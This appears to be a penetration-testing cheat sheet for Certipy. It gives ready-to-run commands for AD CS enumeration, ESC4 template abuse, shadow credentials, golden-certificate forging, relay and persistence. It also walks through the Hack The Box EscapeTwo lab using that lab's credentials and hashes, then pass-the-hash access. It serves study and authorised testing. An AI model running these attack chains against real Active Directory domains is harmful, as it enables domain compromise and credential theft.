daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

certipy.md (19317B)


      1 ---
      2 title: "Certipy"
      3 description: "Certipy ADCS enumeration and ESC exploitation: template abuse, PKINIT, golden certificate, shadow creds."
      4 category: active-directory
      5 subcategory: "Tooling & Recon"
      6 tags: [active-directory, adcs, certificates]
      7 tools: [Certipy]
      8 difficulty: advanced
      9 updated: "2026-08-09"
     10 source: "repo:Active-Directory/Certipy-ad.md"
     11 ---
     12 
     13 # Certipy
     14 
     15 A guide for Active Directory Certificate Services (AD CS) enumeration and exploitation using Certipy.
     16 
     17 > **Note — `certipy-ad` vs `certipy`:** these are the **same tool with identical syntax**, not two different programs. `certipy-ad` is the PyPI package name (the plain `certipy` name was already taken). Depending on how it was installed the binary on your `$PATH` may be `certipy` or `certipy-ad` (Kali's apt package ships `certipy-ad`; `pip install certipy-ad` usually exposes `certipy`). Commands below are written as `certipy-ad` — just drop the `-ad` if that is what your install exposes. Every flag and subcommand is the same either way. Check with `which certipy certipy-ad`.
     18 
     19 ## Overview
     20 
     21 Certipy is an offensive-security tool for enumerating and exploiting AD CS misconfigurations. It supports detection and exploitation of ESC1-ESC16 vulnerabilities.
     22 
     23 ### Key Capabilities
     24 
     25 | Function | Description |
     26 |:---------|:------------|
     27 | Enumeration | Identify vulnerable certificate templates and CAs |
     28 | Certificate Requests | Request certificates with custom attributes |
     29 | Authentication | Use certificates for Kerberos auth and NT hash retrieval |
     30 | Template Manipulation | Modify certificate templates to create exploitation paths |
     31 | Shadow Credentials | Add Key Credential Links for account takeover |
     32 | Golden Certificates | Forge certificates using compromised CA keys |
     33 
     34 ## Installation
     35 
     36 ```bash
     37 # Install via pip
     38 pip install certipy-ad --break-system-packages
     39 
     40 # Install via apt (Kali Linux)
     41 sudo apt install certipy-ad
     42 
     43 # Verify installation
     44 certipy-ad -h
     45 ```
     46 
     47 ## Common Usage Patterns
     48 
     49 ### Enumeration Workflow
     50 
     51 ```bash
     52 # Basic enumeration
     53 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51
     54 
     55 # Enumerate vulnerable templates only
     56 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -vulnerable -enabled
     57 
     58 # Output to specific format
     59 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -json -output results
     60 
     61 # Using NTLM hash authentication
     62 certipy-ad find -u 'user@domain.local' -hashes ':NTHASH' -dc-ip 10.10.11.51
     63 ```
     64 
     65 ### Certificate Request Workflow
     66 
     67 ```bash
     68 # Request certificate with UPN
     69 certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -template 'TemplateName' -upn 'administrator@domain.local' -dc-ip 10.10.11.51
     70 
     71 # Request using hash authentication
     72 certipy-ad req -u 'user@domain.local' -hashes ':NTHASH' -ca 'CA-Name' -template 'TemplateName' -upn 'target@domain.local' -dc-ip 10.10.11.51
     73 
     74 # Retrieve previously requested certificate
     75 certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -retrieve 123 -dc-ip 10.10.11.51
     76 ```
     77 
     78 ### Authentication Workflow
     79 
     80 ```bash
     81 # Authenticate using certificate
     82 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
     83 
     84 # With PFX password
     85 certipy-ad auth -pfx administrator.pfx -password 'pfxpassword' -dc-ip 10.10.11.51
     86 
     87 # Save in kirbi format
     88 certipy-ad auth -pfx administrator.pfx -kirbi -dc-ip 10.10.11.51
     89 
     90 # LDAP shell access
     91 certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip 10.10.11.51
     92 ```
     93 
     94 ## Command Reference
     95 
     96 ### Global Flags
     97 
     98 | Flag | Description | Example |
     99 |:-----|:------------|:--------|
    100 | `-u`, `-username` | Username for authentication | `-u user@domain.local` |
    101 | `-p`, `-password` | Password for authentication | `-p 'Password123'` |
    102 | `-hashes` | NTLM hash (pass-the-hash) | `-hashes ':NTHASH'` or `-hashes 'LMHASH:NTHASH'` |
    103 | `-k` | Use Kerberos authentication from ccache | `-k` |
    104 | `-aes` | AES key for Kerberos auth | `-aes <hex_key>` |
    105 | `-dc-ip` | Domain controller IP address | `-dc-ip 10.10.11.51` |
    106 | `-dc-host` | Domain controller hostname | `-dc-host dc01.domain.local` |
    107 | `-target` | Target machine DNS/IP | `-target ca.domain.local` |
    108 | `-ns` | Nameserver for DNS resolution | `-ns 8.8.8.8` |
    109 | `-timeout` | Connection timeout in seconds | `-timeout 30` |
    110 | `-debug` | Enable debug output | `-debug` |
    111 
    112 ### 1. `find` - Enumerate AD CS
    113 
    114 Discover certificate templates, CAs, and misconfigurations.
    115 
    116 ```bash
    117 certipy-ad find [options]
    118 ```
    119 
    120 Key flags:
    121 
    122 | Flag | Description |
    123 |:-----|:------------|
    124 | `-vulnerable` | Show only vulnerable templates |
    125 | `-enabled` | Show only enabled templates |
    126 | `-text` | Output as formatted text file |
    127 | `-json` | Output as JSON |
    128 | `-csv` | Output as CSV |
    129 | `-stdout` | Output directly to console |
    130 | `-output <prefix>` | File prefix for output |
    131 | `-oids` | Show Issuance Policies |
    132 | `-hide-admins` | Suppress admin permissions |
    133 | `-dc-only` | Only collect from DC (skip CA queries) |
    134 
    135 ```bash
    136 # Find vulnerable templates
    137 certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -vulnerable -enabled -stdout
    138 
    139 # Full enumeration with all outputs
    140 certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -json -text -output dc01_enum
    141 ```
    142 
    143 ### 2. `req` - Request Certificates
    144 
    145 Request and retrieve certificates from AD CS.
    146 
    147 ```bash
    148 certipy-ad req [options]
    149 ```
    150 
    151 Key flags:
    152 
    153 | Flag | Description |
    154 |:-----|:------------|
    155 | `-ca <name>` | Certificate Authority name |
    156 | `-template <name>` | Certificate template name |
    157 | `-upn <upn>` | User Principal Name for SAN |
    158 | `-dns <dns>` | DNS name for SAN |
    159 | `-sid <sid>` | Object SID for SAN |
    160 | `-subject <dn>` | Certificate subject DN |
    161 | `-retrieve <id>` | Retrieve certificate by request ID |
    162 | `-on-behalf-of <user>` | Request on behalf of another user |
    163 | `-pfx <file>` | PFX for on-behalf-of or renewal |
    164 | `-renew` | Create renewal request |
    165 | `-out <file>` | Output PFX filename |
    166 | `-web` | Use Web Enrollment |
    167 | `-dcom` | Use DCOM Enrollment |
    168 
    169 ```bash
    170 # Request certificate with custom UPN (ESC1)
    171 certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip 10.10.11.51
    172 
    173 # Retrieve certificate by request ID
    174 certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -retrieve 42 -dc-ip 10.10.11.51
    175 
    176 # Request on behalf of another user (ESC2/ESC3)
    177 certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -template User -on-behalf-of 'domain\administrator' -pfx user.pfx
    178 ```
    179 
    180 ### 3. `auth` - Authenticate with Certificate
    181 
    182 Use certificates for authentication and NT hash retrieval.
    183 
    184 ```bash
    185 certipy-ad auth -pfx <cert.pfx> [options]
    186 ```
    187 
    188 Key flags:
    189 
    190 | Flag | Description |
    191 |:-----|:------------|
    192 | `-pfx <file>` | Path to certificate (PFX/P12) |
    193 | `-password <pass>` | PFX file password |
    194 | `-no-save` | Don't save TGT to file |
    195 | `-no-hash` | Don't request NT hash |
    196 | `-print` | Print TGT in kirbi format |
    197 | `-kirbi` | Save as .kirbi instead of ccache |
    198 | `-username <user>` | Override certificate username |
    199 | `-domain <domain>` | Override certificate domain |
    200 | `-ldap-shell` | Start LDAP shell after auth |
    201 
    202 ```bash
    203 # Authenticate and retrieve NT hash
    204 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
    205 
    206 # With password-protected PFX
    207 certipy-ad auth -pfx admin.pfx -password 'pfxpass' -dc-ip 10.10.11.51
    208 
    209 # Start LDAP shell
    210 certipy-ad auth -pfx admin.pfx -ldap-shell -dc-ip 10.10.11.51
    211 ```
    212 
    213 ### 4. `template` - Manage Templates
    214 
    215 View and modify certificate template configurations.
    216 
    217 ```bash
    218 certipy-ad template -template <name> [options]
    219 ```
    220 
    221 Key flags:
    222 
    223 | Flag | Description |
    224 |:-----|:------------|
    225 | `-template <name>` | Certificate template name |
    226 | `-save-configuration <file>` | Save current config to JSON |
    227 | `-write-configuration <file>` | Apply config from JSON file |
    228 | `-write-default-configuration` | Apply default ESC1 config |
    229 | `-no-save` | Skip backup before changes |
    230 | `-force` | Don't prompt for confirmation |
    231 
    232 ```bash
    233 # Save template configuration
    234 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template -save-configuration backup.json -dc-ip 10.10.11.51
    235 
    236 # Apply ESC1 configuration (make vulnerable)
    237 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template DunderMifflinAuthentication -write-default-configuration -dc-ip 10.10.11.51
    238 
    239 # Restore from backup
    240 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template -write-configuration backup.json -no-save -dc-ip 10.10.11.51
    241 ```
    242 
    243 ### 5. `shadow` - Shadow Credentials
    244 
    245 Manipulate Key Credential Links for account takeover.
    246 
    247 ```bash
    248 certipy-ad shadow <action> [options]
    249 ```
    250 
    251 Actions: `auto` (add, auth, restore), `list`, `add`, `remove`, `clear`, `info`.
    252 
    253 | Flag | Description |
    254 |:-----|:------------|
    255 | `-account <target>` | Target account |
    256 | `-device-id <guid>` | Specific device ID |
    257 | `-out <file>` | Output certificate file |
    258 
    259 ```bash
    260 # Automatic shadow credential attack
    261 certipy-ad shadow auto -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    262 
    263 # List Key Credentials
    264 certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    265 
    266 # Add Key Credential
    267 certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    268 ```
    269 
    270 > **Certipy v5 gotcha —** `shadow auto` with `-dc-ip` but **no** `-dc-host` fails with `[Errno 113] No route to host` even when the IP is correct and `/etc/hosts` is set. Either pass `-dc-host dc01.<domain>` (add `-ns <DC_IP>` to pin DNS) **or** drop `-dc-ip` entirely and let Certipy resolve the DC itself:
    271 > ```bash
    272 > # Works — no -dc-ip, Certipy resolves the DC via DNS / /etc/hosts
    273 > certipy-ad shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account winrm_svc
    274 > ```
    275 > Also expand shell variables with **double** quotes, not single: `-u "$USER@fluffy.htb"` (single quotes pass the literal string `$USER`).
    276 
    277 ### 6. `account` - Manage Accounts
    278 
    279 Create, read, update, delete AD accounts.
    280 
    281 ```bash
    282 certipy-ad account <action> -user <name> [options]
    283 ```
    284 
    285 Actions: `create`, `read`, `update`, `delete`.
    286 
    287 | Flag | Description |
    288 |:-----|:------------|
    289 | `-user <name>` | SAM account name |
    290 | `-pass <password>` | Set password |
    291 | `-dns <hostname>` | Set DNS hostname |
    292 | `-upn <upn>` | Set UPN |
    293 | `-spns <spn1,spn2>` | Set SPNs |
    294 
    295 ```bash
    296 # Create machine account
    297 certipy-ad account create -u user@domain.local -p 'password' -user BADPC$ -pass 'MachinePass123' -dc-ip 10.10.11.51
    298 
    299 # Update account password
    300 certipy-ad account update -u admin@domain.local -p 'password' -user targetuser -pass 'NewPass123' -dc-ip 10.10.11.51
    301 ```
    302 
    303 ### 7. `ca` - Manage Certificate Authority
    304 
    305 Manage CA settings and certificate requests.
    306 
    307 ```bash
    308 certipy-ad ca -ca <name> [options]
    309 ```
    310 
    311 | Flag | Description |
    312 |:-----|:------------|
    313 | `-ca <name>` | CA name |
    314 | `-list-templates` | List enabled templates |
    315 | `-enable-template <name>` | Enable template on CA |
    316 | `-disable-template <name>` | Disable template on CA |
    317 | `-issue-request <id>` | Approve pending request |
    318 | `-deny-request <id>` | Deny pending request |
    319 | `-add-officer <user>` | Add certificate officer |
    320 
    321 ```bash
    322 # List enabled templates
    323 certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -list-templates -dc-ip 10.10.11.51
    324 
    325 # Approve pending request
    326 certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -issue-request 42 -dc-ip 10.10.11.51
    327 ```
    328 
    329 ### 8. `forge` - Forge Certificates
    330 
    331 Create golden certificates or self-signed certs.
    332 
    333 ```bash
    334 certipy-ad forge [options]
    335 ```
    336 
    337 | Flag | Description |
    338 |:-----|:------------|
    339 | `-ca-pfx <file>` | CA certificate/key (for golden cert) |
    340 | `-ca-password <pass>` | CA PFX password |
    341 | `-upn <upn>` | UPN for certificate |
    342 | `-subject <dn>` | Certificate subject |
    343 | `-template <file>` | Clone from template cert |
    344 | `-out <file>` | Output PFX file |
    345 | `-validity-period <days>` | Validity in days |
    346 
    347 ```bash
    348 # Forge golden certificate
    349 certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_golden.pfx
    350 ```
    351 
    352 ### 9. `relay` - NTLM Relay
    353 
    354 Relay NTLM authentication to AD CS endpoints.
    355 
    356 ```bash
    357 certipy-ad relay -target <proto://host> [options]
    358 ```
    359 
    360 | Flag | Description |
    361 |:-----|:------------|
    362 | `-target <proto://host>` | Target (http:// or rpc://) |
    363 | `-ca <name>` | CA name (for RPC) |
    364 | `-template <name>` | Certificate template |
    365 | `-interface <ip>` | Listen interface |
    366 | `-port <port>` | Listen port (default: 445) |
    367 | `-forever` | Keep relay server alive |
    368 | `-enum-templates` | Enumerate templates via relay |
    369 
    370 ## ESC4 Exploitation Workflow
    371 
    372 ESC4 occurs when an attacker has **write permissions** over a certificate template, allowing them to modify it to become vulnerable (typically ESC1).
    373 
    374 Prerequisites:
    375 
    376 - Compromised account with write access to a certificate template
    377 - Membership in groups with template modification rights (e.g. Cert Publishers)
    378 - Access to Active Directory Certificate Services
    379 
    380 ### Step 1: Enumerate and Identify ESC4
    381 
    382 ```bash
    383 # Find vulnerable templates
    384 certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -vulnerable -stdout
    385 
    386 # Look for output like:
    387 # [!] Vulnerabilities
    388 #     ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions
    389 ```
    390 
    391 ### Step 2: Modify Template (Certipy 5.x)
    392 
    393 ```bash
    394 # Apply default ESC1 configuration
    395 certipy-ad template -u ca_svc@sequel.htb \
    396   -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
    397   -template DunderMifflinAuthentication \
    398   -write-default-configuration \
    399   -dc-ip 10.10.11.51
    400 
    401 # Confirm changes when prompted
    402 ```
    403 
    404 ### Step 3: Request Certificate with UPN
    405 
    406 ```bash
    407 # Request admin certificate
    408 certipy-ad req -u ca_svc@sequel.htb \
    409   -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
    410   -ca sequel-DC01-CA \
    411   -template DunderMifflinAuthentication \
    412   -upn administrator@sequel.htb \
    413   -dc-ip 10.10.11.51
    414 
    415 # Output: administrator.pfx
    416 ```
    417 
    418 ### Step 4: Authenticate and Extract Hash
    419 
    420 ```bash
    421 # Authenticate with certificate
    422 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
    423 
    424 # Output:
    425 # [*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
    426 ```
    427 
    428 ### Step 5: Use Hash for Access
    429 
    430 ```bash
    431 # WinRM access
    432 evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff
    433 
    434 # SMB access
    435 smbclient -U administrator%aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff //10.10.11.51/C$
    436 
    437 # psexec
    438 psexec.py -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff administrator@10.10.11.51
    439 ```
    440 
    441 ### Step 6: Restore Template (Clean Up)
    442 
    443 ```bash
    444 # Restore from automatic backup
    445 certipy-ad template -u ca_svc@sequel.htb \
    446   -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
    447   -template DunderMifflinAuthentication \
    448   -write-configuration DunderMifflinAuthentication.json \
    449   -no-save \
    450   -dc-ip 10.10.11.51
    451 ```
    452 
    453 ### Alternative Method (Certipy 4.x - Legacy)
    454 
    455 ```bash
    456 # Step 1: Modify template (auto-saves backup)
    457 certipy-ad template -u ca_svc -hashes :HASH \
    458   -dc-ip 10.10.11.51 \
    459   -template DunderMifflinAuthentication \
    460   -target dc01.sequel.htb \
    461   -save-old
    462 
    463 # Step 2: Request certificate
    464 certipy-ad req -ca sequel-DC01-CA \
    465   -u ca_svc -hashes :HASH \
    466   -dc-ip 10.10.11.51 \
    467   -template DunderMifflinAuthentication \
    468   -target dc01.sequel.htb \
    469   -upn administrator@sequel.htb
    470 
    471 # Step 3: Authenticate
    472 certipy-ad auth -pfx administrator.pfx
    473 
    474 # Step 4: Restore (backup auto-created)
    475 # Check for DunderMifflinAuthentication.json in current directory
    476 ```
    477 
    478 ## HTB EscapeTwo Context
    479 
    480 Exploitation path:
    481 
    482 1. Initial Access: rose creds → SQL admin password → shell as sql_svc
    483 2. Lateral Movement: find ryan credentials → WinRM access
    484 3. Privilege Escalation: ryan has WriteOwner on ca_svc account
    485 4. Account Takeover: use BloodyAD for ownership + permissions
    486 5. Shadow Credentials: add shadow credential to ca_svc
    487 6. ESC4 Exploitation: ca_svc in Cert Publishers → modify template → pwn
    488 
    489 Key commands:
    490 
    491 ```bash
    492 # Ownership change (using BloodyAD)
    493 bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
    494 bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan
    495 
    496 # Shadow credential attack (v5: pass -dc-host, or drop -dc-ip — see the shadow section gotcha)
    497 certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb
    498 
    499 # ESC4 enumeration
    500 certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -stdout
    501 
    502 # Template modification
    503 certipy-ad template -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template DunderMifflinAuthentication -write-default-configuration -dc-ip 10.10.11.51
    504 
    505 # Certificate request
    506 certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip 10.10.11.51
    507 
    508 # Authentication
    509 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
    510 ```
    511 
    512 ## Post-Exploitation
    513 
    514 ### Using Certificates
    515 
    516 ```bash
    517 # Pass-the-Certificate with evil-winrm
    518 evil-winrm -i DC01 -c admin.crt -k admin.key
    519 
    520 # Use ccache for Kerberos auth
    521 export KRB5CCNAME=administrator.ccache
    522 smbclient.py -k -no-pass administrator@dc01.sequel.htb
    523 
    524 # Convert PFX to PEM for other tools
    525 openssl pkcs12 -in admin.pfx -nocerts -out admin.key
    526 openssl pkcs12 -in admin.pfx -clcerts -nokeys -out admin.crt
    527 ```
    528 
    529 ### Persistence
    530 
    531 ```bash
    532 # Renew certificate before expiration
    533 certipy-ad req -u admin@domain.local -p 'password' -ca CA-Name -template Template -renew -pfx admin.pfx -dc-ip 10.10.11.51
    534 
    535 # Forge golden certificate (requires CA key)
    536 certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -out golden.pfx
    537 ```
    538 
    539 ## Tips & Best Practices
    540 
    541 Operational security:
    542 
    543 - Always back up templates before modification.
    544 - Clean up after testing (restore configurations).
    545 - Document request IDs for later retrieval.
    546 - Note certificate validity periods for persistence planning.
    547 
    548 Enumeration tips:
    549 
    550 - Start with `-vulnerable -enabled` for quick wins.
    551 - Use `-json` output for parsing with tools like jq.
    552 - Check group memberships (Cert Publishers is key for ESC4).
    553 - Enumerate with BloodHound for WriteOwner/GenericAll on service accounts.
    554 
    555 Common attack chains:
    556 
    557 ```text
    558 WriteOwner/GenericAll → Shadow Credentials → Hash → Certificate Request
    559 WriteDACL → Template Modification (ESC4) → Certificate → Domain Admin
    560 ManageCA + ManageCertificates → ESC7 → Certificate → Compromise
    561 ```
    562 
    563 ### Troubleshooting
    564 
    565 | Error | Solution |
    566 |:------|:---------|
    567 | `CERTSRV_E_TEMPLATE_DENIED` | User not authorized for template - check enrollment rights |
    568 | `Object SID mismatch` | Strong Certificate Mapping enabled - use `-sid` flag |
    569 | `INSUFF_ACCESS_RIGHTS` | Need GenericAll/WriteOwner - check permissions |
    570 | Connection timeout | Check firewall, verify DC-IP, try `-timeout 30` |
    571 
    572 ## References
    573 
    574 - Certipy GitHub Wiki: https://github.com/ly4k/Certipy/wiki
    575 - Certified Pre-Owned Whitepaper: https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
    576 - ADCS Attack Paths (Hacker Recipes): https://www.thehacker.recipes/ad/movement/adcs